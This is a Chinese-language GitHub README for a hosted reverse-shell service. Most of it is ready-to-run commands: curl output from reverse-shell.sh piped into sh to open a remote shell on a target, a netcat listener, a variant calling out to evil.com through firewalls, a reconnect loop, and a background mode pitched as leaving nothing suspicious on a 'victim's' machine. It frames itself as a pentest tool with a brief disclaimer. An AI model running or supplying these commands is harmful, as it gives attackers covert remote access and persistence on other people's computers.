lukechilds/reverse-shell
GitHub: lukechilds/reverse-shell
一个托管的反向外壳即服务平台,通过自动检测目标系统可用工具来实现一行命令建立反弹连接。
Stars: 2042 | Forks: 248
# reverse-shell
[](https://github.com/lukechilds/reverse-shell/actions/workflows/test.yml)
[](https://coveralls.io/github/lukechilds/reverse-shell?branch=master)
[](https://github.com/sponsors/lukechilds)
易于记忆的 reverse shell,可在大多数 Unix-like 系统上运行。
检测目标系统上可用的软件并运行相应的 payload。
## 用法
### 1. 监听连接
在你的机器上,打开一个端口并进行监听。你可以使用 netcat 轻松完成此操作。
```
nc -l 1337
```
### 2. 在目标机器上执行 reverse shell
在目标机器上,将 https://reverse-shell.sh/yourip:port 的输出通过管道传递给 sh。
```
curl https://reverse-shell.sh/192.168.0.69:1337 | sh
```
回到你的机器上,你现在应该能看到一个 shell 提示符了。
### 3. 请勿作恶
本工具旨在用于渗透测试,或帮助同事理解为什么他们应该始终锁定电脑。请不要将其用于任何恶意目的。
## 演示

## 技巧
### 主机名
你可以使用主机名代替 IP。
```
curl https://reverse-shell.sh/localhost:1337 | sh
```
### 远程连接
因为这是一个反向连接,它可以穿透防火墙并连接到互联网。
你可以在 evil.com 的服务器上监听连接,并从安全的内部网络中获取 reverse shell,如下所示:
```
curl https://reverse-shell.sh/evil.com:1337 | sh
```
### 重连
默认情况下,当 shell 退出时,你会失去连接。你可能因为输入了无效的命令而意外退出。你可以通过将其包装在 while 循环中,轻松创建一个会尝试重新连接的 shell。
```
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
```
如果你对同事这样做,请务必小心。如果他们带着仍在运行的程序离开办公室,你将使他们暴露在被攻击的风险中。
### 作为后台进程运行
必须保持终端会话开启才能维持 reverse shell 连接。如果你是想恶作剧同事,这可能就有点太明显了。
以下命令将在后台进程中运行 reverse shell 并退出终端,在受害者的机器上不会留下任何看起来可疑的终端窗口。
请确保在一个全新的终端窗口中运行此命令,否则你将丢失现有会话中的所有工作。
```
sh -c "curl https://reverse-shell.sh/localhost:1337 | sh -i &" && exit
```
## 许可证
MIT © Luke Childs
标签:Bash, C2通信, Curl, Cutter, EVTX分析, IP 地址批量处理, MITM代理, Netcat, Shell脚本, Unix, 内网穿透, 反向Shell, 反弹Shell, 后门, 命令执行, 安全测试, 开源安全工具, 攻击性安全, 攻击载荷生成, 数字足迹, 数据可视化, 横向移动, 系统提权, 编程规范, 网络安全, 远程控制, 逆向工程平台, 防火墙穿透, 隐私保护